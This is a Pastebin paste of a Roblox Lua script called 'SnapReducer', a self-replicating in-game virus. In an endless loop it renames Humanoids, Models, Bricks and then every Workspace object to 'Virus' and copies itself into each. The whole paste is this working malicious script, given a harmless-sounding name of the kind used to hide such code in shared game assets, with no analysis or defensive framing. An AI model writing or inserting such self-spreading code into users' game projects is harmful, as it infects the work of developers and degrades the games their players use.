Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- model = Instance.new("Part")
- script.Parent = model
- script.Name = "SnapReducer"
- function Infector()
- while true do -- Infinite loop
- found = game.Workspace:FindFirstChild("Humanoid")
- found2 = game.Workspace:FindFirstChild("Model")
- found3 = game.Workspace:FindFirstChild("Brick")
- if found ~= nil then
- found.Name="Virus"
- infectedscr = model.SnapReducer:Clone()
- infectedscr.Parent = found
- else
- if found2 ~= nil then
- found2.Name = "Virus"
- infectedscr2 = model.SnapReducer:Clone()
- infectedscr2.Parent = found2
- else
- if found3 ~= nil then
- found3.Name = "Virus"
- infectedscr3 = model.SnapReducer:Clone()
- infectedscr3.Parent = found3
- else
- local children = game.Workspace:GetChildren()
- for c = 1, #children do
- if children[c].Name ~= "Virus"
- then
- children[c].Name = "Virus"
- infectedscr421 = model.SnapReducer:Clone()
- infectedscr421.Parent = children[c]
- else
- end
- end
- end
- end
- end
- wait(10)
- end
- end
- Infector()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement